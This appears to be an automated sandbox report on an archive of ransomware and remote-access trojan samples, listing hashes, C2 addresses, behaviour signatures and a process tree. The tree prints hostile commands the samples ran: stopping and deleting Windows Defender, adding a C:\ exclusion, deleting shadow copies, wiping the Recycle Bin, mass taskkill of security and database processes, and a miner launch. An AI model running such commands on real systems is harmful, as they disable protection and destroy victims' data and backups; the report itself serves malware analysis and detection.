Overview

overview

10

Static

static

1

RNSM00444.7z

windows10-2004-x64

10

Resubmissions

24-10-2024 18:31

241024-w6jpgszhkq 10

23-10-2024 20:48

241023-zlxmdsygpc 1

Analysis

  • max time kernel
    101s
  • max time network
    269s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-10-2024 18:31

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    RNSM00444.7z

  • Size

    60.2MB

  • MD5

    8d5f6c6746238d28a1073cbb4f020a74

  • SHA1

    bdedfc8f61016e3fa3201ce0f501c42324c0786f

  • SHA256

    84746e0b57050f68a3aa093b75731cf3aa321fb41534d55392525b105d164a54

  • SHA512

    c1a359269836364730cc84a4a90bf2a1e9fd4933f7d1cb48194a8d1c99c15429e86a177f0ff4ea33a025e8583f108f4b01ea52d7341918ab339bf29a7d8ec256

  • SSDEEP

    1572864:KzWRBEEP/N7M4wNhmpqdsALScA/CWHemATVzltiXGp9FMyf1+Y0ab:Rnb/N5qm1ALMHemalPL0ab

Score
10/10
crimsonratmafiaware666zgratcredential_accessdefense_evasiondiscoveryevasionexecutionpersistenceprivilege_escalationransomwareratspywarestealertrojanupx

Malware Config

Extracted

Family

crimsonrat

C2

167.160.166.80

198.23.210.211

Signatures

  • CrimsonRat

    Crimson RAT is a malware linked to a Pakistani-linked threat actor.

    ratcrimsonrat
  • Detect MafiaWare666 ransomware 2 IoCs
  • Detect ZGRat V2 1 IoCs
  • Disables service(s) 3 TTPs
    evasionexecution
  • MafiaWare666 Ransomware

    MafiaWare666 is ransomware written in C# with multiple variants.

    ransomwaremafiaware666
  • Modifies WinLogon for persistence 2 TTPs 2 IoCs
    persistence
  • UAC bypass 3 TTPs 1 IoCs
    evasiontrojan
  • ZGRat

    ZGRat is remote access trojan written in C#.

    ratzgrat
  • Renames multiple (1246) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Renames multiple (235) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Disables Task Manager via registry modification
    evasion
  • Downloads MZ/PE file
  • Downloads PsExec from SysInternals website 1 IoCs

    Sysinternals tools like PsExec are often leveraged maliciously by malware families due to being commonly used by testers/administrators.

  • Modifies Windows Firewall 2 TTPs 4 IoCs
    evasion
  • Stops running service(s) 4 TTPs
    evasionexecution
  • System Binary Proxy Execution: Regsvcs/Regasm 1 TTPs 2 IoCs

    Abuse Regasm to proxy execution of malicious code.

    defense_evasion
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

    credential_accessstealer
  • Executes dropped EXE 19 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • Drops desktop.ini file(s) 16 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Network Service Discovery 1 TTPs 2 IoCs

    Attempt to gather information on host's network.

    discovery
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 21 IoCs
  • Launches sc.exe 9 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Access Token Manipulation: Create Process with Token 1 TTPs 2 IoCs
    defense_evasionprivilege_escalation
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 27 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • NSIS installer 2 IoCs
    installer
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 48 IoCs
    evasion
  • Modifies data under HKEY_USERS 41 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs ping.exe 1 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 30 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Program Files\7-Zip\7zFM.exe
    "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\RNSM00444.7z"
    1⤵
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:1968
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1128
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4512
      • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.MSIL.Agent.gen-8db5a7e8ecb462877ccf2afb0b4aa622ec9fb5e1c97b94b9181ba5aed493c924.exe
        HEUR-Trojan-Ransom.MSIL.Agent.gen-8db5a7e8ecb462877ccf2afb0b4aa622ec9fb5e1c97b94b9181ba5aed493c924.exe
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2072
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c, "C:\Users\Admin\AppData\Roaming\HaloCrashManager.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1504
          • C:\Users\Admin\AppData\Roaming\HaloCrashManager.exe
            "C:\Users\Admin\AppData\Roaming\HaloCrashManager.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:4708
      • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.MSIL.Blocker.gen-0b6311976a5d7d94c5bf373e982e9e03ea64cb4869b9399fb1f90c122cb2ced2.exe
        HEUR-Trojan-Ransom.MSIL.Blocker.gen-0b6311976a5d7d94c5bf373e982e9e03ea64cb4869b9399fb1f90c122cb2ced2.exe
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4260
        • C:\Users\Admin\AppData\Local\Temp\HEUR-Trojan-Ransom.MSIL.Blocker.gen-0b6311976a5d7d94c5bf373e982e9e03ea64cb4869b9399fb1f90c122cb2ced2.exe
          C:\Users\Admin\AppData\Local\Temp\HEUR-Trojan-Ransom.MSIL.Blocker.gen-0b6311976a5d7d94c5bf373e982e9e03ea64cb4869b9399fb1f90c122cb2ced2.exe -pool etc-pool.beepool.org:9518 -wal E68632A323dcd1DdB4d673359Cc7D5153f08263B.Intel -coin etc
          4⤵
          • Executes dropped EXE
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          PID:7760
      • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.MSIL.Blocker.gen-a71439038e233769c09acbe0dfc5849f148c442cd948ba0846032c2749e49841.exe
        HEUR-Trojan-Ransom.MSIL.Blocker.gen-a71439038e233769c09acbe0dfc5849f148c442cd948ba0846032c2749e49841.exe
        3⤵
        • Modifies WinLogon for persistence
        • System Binary Proxy Execution: Regsvcs/Regasm
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of AdjustPrivilegeToken
        PID:4152
        • C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe
          "C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe" /EXEFilename "C:\Windows\System32\sc.exe" /WindowState 0 /CommandLine "stop WinDefend" /StartDirectory "" /RunAs 8 /Run
          4⤵
          • Executes dropped EXE
          • Access Token Manipulation: Create Process with Token
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:3432
          • C:\Windows\System32\sc.exe
            "C:\Windows\System32\sc.exe" stop WinDefend
            5⤵
            • Launches sc.exe
            PID:5236
        • C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe
          "C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe" /EXEFilename "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /WindowState 0 /CommandLine "rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse" /StartDirectory "" /RunAs 8 /Run
          4⤵
          • Executes dropped EXE
          • Access Token Manipulation: Create Process with Token
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:3808
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse
            5⤵
            • Modifies data under HKEY_USERS
            • Suspicious use of AdjustPrivilegeToken
            PID:5716
        • C:\Users\Admin\AppData\Local\Temp\RegAsm.exe
          C:\Users\Admin\AppData\Local\Temp\RegAsm.exe
          4⤵
          • Executes dropped EXE
          PID:7668
      • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.MSIL.Blocker.gen-dc49095fcd5e9570cfb960eda734dab0d1ac8dec4bfc94beb9885b618e0419bf.exe
        HEUR-Trojan-Ransom.MSIL.Blocker.gen-dc49095fcd5e9570cfb960eda734dab0d1ac8dec4bfc94beb9885b618e0419bf.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:4712
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\_Nqvcpigmyt.vbs"
          4⤵
            PID:7288
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\,'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\nvcontainer\nvcontainer.exe'
              5⤵
              • Command and Scripting Interpreter: PowerShell
              PID:5344
          • C:\Users\Admin\AppData\Local\Temp\HEUR-Trojan-Ransom.MSIL.Blocker.gen-dc49095fcd5e9570cfb960eda734dab0d1ac8dec4bfc94beb9885b618e0419bf.exe
            C:\Users\Admin\AppData\Local\Temp\HEUR-Trojan-Ransom.MSIL.Blocker.gen-dc49095fcd5e9570cfb960eda734dab0d1ac8dec4bfc94beb9885b618e0419bf.exe
            4⤵
              PID:8060
          • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.MSIL.Blocker.gen-e0343b10e9950a4bccf60b86d066e0d949acfdfe65b03c0166ecad43fdc3d906.exe
            HEUR-Trojan-Ransom.MSIL.Blocker.gen-e0343b10e9950a4bccf60b86d066e0d949acfdfe65b03c0166ecad43fdc3d906.exe
            3⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:3184
          • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.MSIL.Crypmod.gen-8f19f0be0349a4dff7409c9f02fa1451e5c11db898dd556d4eb4b068055c64ab.exe
            HEUR-Trojan-Ransom.MSIL.Crypmod.gen-8f19f0be0349a4dff7409c9f02fa1451e5c11db898dd556d4eb4b068055c64ab.exe
            3⤵
            • Executes dropped EXE
            • Drops desktop.ini file(s)
            PID:1580
          • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.MSIL.Encoder.gen-d56cfe09f291b11e27b84ede219459ede65652a19596a0b33f8a3ef871236cf5.exe
            HEUR-Trojan-Ransom.MSIL.Encoder.gen-d56cfe09f291b11e27b84ede219459ede65652a19596a0b33f8a3ef871236cf5.exe
            3⤵
            • Modifies WinLogon for persistence
            • UAC bypass
            • Executes dropped EXE
            • Checks whether UAC is enabled
            • Drops desktop.ini file(s)
            • Enumerates connected drives
            • Sets desktop wallpaper using registry
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            • System policy modification
            PID:4892
          • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.MSIL.Foreign.gen-7eeac3f16e37b79ee6ba5e1ecf9a7d9ce9530b03c0bfd304fd6d49b73ab95d40.exe
            HEUR-Trojan-Ransom.MSIL.Foreign.gen-7eeac3f16e37b79ee6ba5e1ecf9a7d9ce9530b03c0bfd304fd6d49b73ab95d40.exe
            3⤵
            • Executes dropped EXE
            • Adds Run key to start application
            PID:4300
          • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.MSIL.Foreign.gen-db0f9c5c6b247603127dc428a00fa1cbfa59edfb950d0153c819939d26b818f8.exe
            HEUR-Trojan-Ransom.MSIL.Foreign.gen-db0f9c5c6b247603127dc428a00fa1cbfa59edfb950d0153c819939d26b818f8.exe
            3⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2544
            • C:\ProgramData\HPwimra\uiltghnsra.exe
              "C:\ProgramData\HPwimra\uiltghnsra.exe"
              4⤵
              • Executes dropped EXE
              PID:4360
          • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.MSIL.Gen.gen-4757048cf54fb2fd010e691e63df025ad78de2d45fe9e0441b6543cfbcd1bef6.exe
            HEUR-Trojan-Ransom.MSIL.Gen.gen-4757048cf54fb2fd010e691e63df025ad78de2d45fe9e0441b6543cfbcd1bef6.exe
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:4444
          • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.MSIL.Gen.gen-77557adab2518d6bc7f6233c17c5f52f35e30edf06f8b4fe984e808050459a8e.exe
            HEUR-Trojan-Ransom.MSIL.Gen.gen-77557adab2518d6bc7f6233c17c5f52f35e30edf06f8b4fe984e808050459a8e.exe
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:4776
          • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.MSIL.Gen.gen-c698def6ac01a742950b73f5fedd1c7d42c6654276efa00b43a1776590371633.exe
            HEUR-Trojan-Ransom.MSIL.Gen.gen-c698def6ac01a742950b73f5fedd1c7d42c6654276efa00b43a1776590371633.exe
            3⤵
            • Executes dropped EXE
            • Drops desktop.ini file(s)
            • Drops file in Program Files directory
            • System Location Discovery: System Language Discovery
            PID:3444
          • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.MSIL.Thanos.gen-025ecab4eed0ccb1d35c88c7b776aa41841951f2af6b2af61e803eb32f7b78e4.exe
            HEUR-Trojan-Ransom.MSIL.Thanos.gen-025ecab4eed0ccb1d35c88c7b776aa41841951f2af6b2af61e803eb32f7b78e4.exe
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3068
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill" /F /IM RaccineSettings.exe
              4⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:3824
            • C:\Windows\SysWOW64\reg.exe
              "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
              4⤵
              • System Location Discovery: System Language Discovery
              PID:3460
            • C:\Windows\SysWOW64\reg.exe
              "reg" delete HKCU\Software\Raccine /F
              4⤵
              • System Location Discovery: System Language Discovery
              • Modifies registry key
              PID:4956
            • C:\Windows\SysWOW64\schtasks.exe
              "schtasks" /DELETE /TN "Raccine Rules Updater" /F
              4⤵
              • System Location Discovery: System Language Discovery
              PID:8932
            • C:\Windows\SysWOW64\sc.exe
              "sc.exe" config Dnscache start= auto
              4⤵
              • Launches sc.exe
              • System Location Discovery: System Language Discovery
              PID:3708
            • C:\Windows\SysWOW64\netsh.exe
              "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
              4⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              PID:5744
            • C:\Windows\SysWOW64\sc.exe
              "sc.exe" config FDResPub start= auto
              4⤵
              • Launches sc.exe
              • System Location Discovery: System Language Discovery
              PID:5864
            • C:\Windows\SysWOW64\sc.exe
              "sc.exe" config SSDPSRV start= auto
              4⤵
              • Launches sc.exe
              • System Location Discovery: System Language Discovery
              PID:5012
            • C:\Windows\SysWOW64\sc.exe
              "sc.exe" config upnphost start= auto
              4⤵
              • Launches sc.exe
              • System Location Discovery: System Language Discovery
              PID:6040
            • C:\Windows\SysWOW64\sc.exe
              "sc.exe" config SQLTELEMETRY start= disabled
              4⤵
              • Launches sc.exe
              • System Location Discovery: System Language Discovery
              PID:6588
            • C:\Windows\SysWOW64\sc.exe
              "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
              4⤵
              • Launches sc.exe
              • System Location Discovery: System Language Discovery
              PID:7736
            • C:\Windows\SysWOW64\sc.exe
              "sc.exe" config SQLWriter start= disabled
              4⤵
              • Launches sc.exe
              • System Location Discovery: System Language Discovery
              PID:7008
            • C:\Windows\SysWOW64\sc.exe
              "sc.exe" config SstpSvc start= disabled
              4⤵
              • Launches sc.exe
              • System Location Discovery: System Language Discovery
              PID:7740
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM mspub.exe /F
              4⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:7520
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM firefoxconfig.exe /F
              4⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:5128
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM excel.exe /F
              4⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:5420
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM thebat64.exe /F
              4⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:8396
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" IM thunderbird.exe /F
              4⤵
              • Kills process with taskkill
              PID:7820
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM mydesktopqos.exe /F
              4⤵
              • Kills process with taskkill
              PID:7888
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM CNTAoSMgr.exe /F
              4⤵
              • Kills process with taskkill
              PID:5540
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM agntsvc.exe /F
              4⤵
              • Kills process with taskkill
              PID:6496
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM ocomm.exe /F
              4⤵
              • Kills process with taskkill
              PID:8028
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM dbsnmp.exe /F
              4⤵
              • Kills process with taskkill
              PID:8128
            • C:\Windows\SysWOW64\netsh.exe
              "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
              4⤵
              • Modifies Windows Firewall
              PID:8448
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM mydesktopservice.exe /F
              4⤵
              • Kills process with taskkill
              PID:8404
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM sqlwriter.exe /F
              4⤵
              • Kills process with taskkill
              PID:8856
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM thebat.exe /F
              4⤵
              • Kills process with taskkill
              PID:5980
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM infopath.exe /F
              4⤵
              • Kills process with taskkill
              PID:7968
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM xfssvccon.exe /F
              4⤵
              • Kills process with taskkill
              PID:8764
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM isqlplussvc.exe /F
              4⤵
              • Kills process with taskkill
              PID:1532
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM mysqld.exe /F
              4⤵
              • Kills process with taskkill
              PID:4760
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM tbirdconfig.exe /F
              4⤵
              • Kills process with taskkill
              PID:2200
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM steam.exe /F
              4⤵
              • Kills process with taskkill
              PID:7828
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM mbamtray.exe /F
              4⤵
              • Kills process with taskkill
              PID:6740
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM mspub.exe /F
              4⤵
              • Kills process with taskkill
              PID:7556
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM onenote.exe /F
              4⤵
              • Kills process with taskkill
              PID:8384
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM sqbcoreservice.exe /F
              4⤵
              • Kills process with taskkill
              PID:8520
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM dbeng50.exe /F
              4⤵
              • Kills process with taskkill
              PID:7036
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM encsvc.exe /F
              4⤵
              • Kills process with taskkill
              PID:7192
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM zoolz.exe /F
              4⤵
              • Kills process with taskkill
              PID:1556
            • C:\Windows\SysWOW64\arp.exe
              "arp" -a
              4⤵
              • Network Service Discovery
              PID:5700
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM PccNTMon.exe /F
              4⤵
              • Kills process with taskkill
              PID:5464
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM Ntrtscan.exe /F
              4⤵
              • Kills process with taskkill
              PID:7952
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM msaccess.exe /F
              4⤵
              • Kills process with taskkill
              PID:6436
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM tmlisten.exe /F
              4⤵
              • Kills process with taskkill
              PID:4128
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM mydesktopservice.exe /F
              4⤵
              • Kills process with taskkill
              PID:4608
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM ocautoupds.exe /F
              4⤵
              • Kills process with taskkill
              PID:7064
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM sqlservr.exe /F
              4⤵
              • Kills process with taskkill
              PID:5992
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM msftesql.exe /F
              4⤵
              • Kills process with taskkill
              PID:6488
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM winword.exe /F
              4⤵
              • Kills process with taskkill
              PID:8204
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM ocssd.exe /F
              4⤵
              • Kills process with taskkill
              PID:5776
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM outlook.exe /F
              4⤵
              • Kills process with taskkill
              PID:7860
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM synctime.exe /F
              4⤵
              • Kills process with taskkill
              PID:8760
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM powerpnt.exe /F
              4⤵
              • Kills process with taskkill
              PID:5220
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM mysqld-nt.exe /F
              4⤵
              • Kills process with taskkill
              PID:7136
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM oracle.exe /F
              4⤵
              • Kills process with taskkill
              PID:7056
            • C:\Windows\SysWOW64\taskkill.exe
              "taskkill.exe" /IM mydesktopqos.exe /F
              4⤵
              • Kills process with taskkill
              PID:8384
              • C:\Windows\System32\Conhost.exe
                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                5⤵
                  PID:7736
              • C:\Windows\SysWOW64\taskkill.exe
                "taskkill.exe" /IM wordpad.exe /F
                4⤵
                • Kills process with taskkill
                PID:6184
                • C:\Windows\System32\Conhost.exe
                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  5⤵
                    PID:7820
                • C:\Windows\SysWOW64\taskkill.exe
                  "taskkill.exe" /IM sqlagent.exe /F
                  4⤵
                  • Kills process with taskkill
                  PID:1764
                • C:\Windows\SysWOW64\taskkill.exe
                  "taskkill.exe" /IM visio.exe /F
                  4⤵
                  • Kills process with taskkill
                  PID:5668
                • C:\Windows\SysWOW64\taskkill.exe
                  "taskkill.exe" /IM mysqld-opt.exe /F
                  4⤵
                  • Kills process with taskkill
                  PID:6160
                • C:\Windows\SysWOW64\taskkill.exe
                  "taskkill.exe" /IM sqlbrowser.exe /F
                  4⤵
                  • Kills process with taskkill
                  PID:4996
                • C:\Windows\SysWOW64\cmd.exe
                  "cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpA280.bat
                  4⤵
                    PID:3388
                    • C:\Windows\SysWOW64\mountvol.exe
                      mountvol
                      5⤵
                        PID:788
                      • C:\Windows\SysWOW64\find.exe
                        find "}\"
                        5⤵
                          PID:5388
                        • C:\Windows\SysWOW64\mountvol.exe
                          mountvol !freedrive!: \\?\Volume{f9c79713-0000-0000-0000-100000000000}\
                          5⤵
                            PID:6784
                          • C:\Windows\SysWOW64\PING.EXE
                            ping -n 2 127.0.0.1
                            5⤵
                            • System Network Configuration Discovery: Internet Connection Discovery
                            • Runs ping.exe
                            PID:2156
                          • C:\Windows\SysWOW64\mountvol.exe
                            mountvol !freedrive!: \\?\Volume{f9c79713-0000-0000-0000-d01200000000}\
                            5⤵
                              PID:2316
                            • C:\Windows\SysWOW64\PING.EXE
                              ping -n 2 127.0.0.1
                              5⤵
                              • System Network Configuration Discovery: Internet Connection Discovery
                              • Runs ping.exe
                              PID:6720
                            • C:\Windows\SysWOW64\mountvol.exe
                              mountvol !freedrive!: \\?\Volume{f9c79713-0000-0000-0000-f0ff3a000000}\
                              5⤵
                                PID:5148
                              • C:\Windows\SysWOW64\PING.EXE
                                ping -n 2 127.0.0.1
                                5⤵
                                • System Network Configuration Discovery: Internet Connection Discovery
                                • Runs ping.exe
                                PID:7968
                              • C:\Windows\SysWOW64\mountvol.exe
                                mountvol !freedrive!: \\?\Volume{06ef8add-84ce-11ef-b9c1-806e6f6e6963}\
                                5⤵
                                  PID:6520
                                • C:\Windows\SysWOW64\PING.EXE
                                  ping -n 2 127.0.0.1
                                  5⤵
                                  • System Network Configuration Discovery: Internet Connection Discovery
                                  • Runs ping.exe
                                  PID:8108
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
                                4⤵
                                  PID:6596
                                • C:\Windows\SysWOW64\cmd.exe
                                  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
                                  4⤵
                                    PID:8808
                                  • C:\Windows\SysWOW64\netsh.exe
                                    "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
                                    4⤵
                                    • Modifies Windows Firewall
                                    PID:8792
                                  • C:\Windows\SysWOW64\netsh.exe
                                    "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
                                    4⤵
                                    • Modifies Windows Firewall
                                    PID:9096
                                  • C:\Windows\SysWOW64\arp.exe
                                    "arp" -a
                                    4⤵
                                    • Network Service Discovery
                                    PID:5356
                            • C:\Windows\system32\taskmgr.exe
                              "C:\Windows\system32\taskmgr.exe" /4
                              1⤵
                              • Checks SCSI registry key(s)
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              • Suspicious use of FindShellTrayWindow
                              • Suspicious use of SendNotifyMessage
                              • Suspicious use of WriteProcessMemory
                              PID:3336
                              • C:\Windows\system32\taskmgr.exe
                                "C:\Windows\system32\taskmgr.exe" /1
                                2⤵
                                • Checks SCSI registry key(s)
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious behavior: GetForegroundWindowSpam
                                • Suspicious use of AdjustPrivilegeToken
                                • Suspicious use of FindShellTrayWindow
                                • Suspicious use of SendNotifyMessage
                                PID:4828
                            • C:\Windows\System32\rundll32.exe
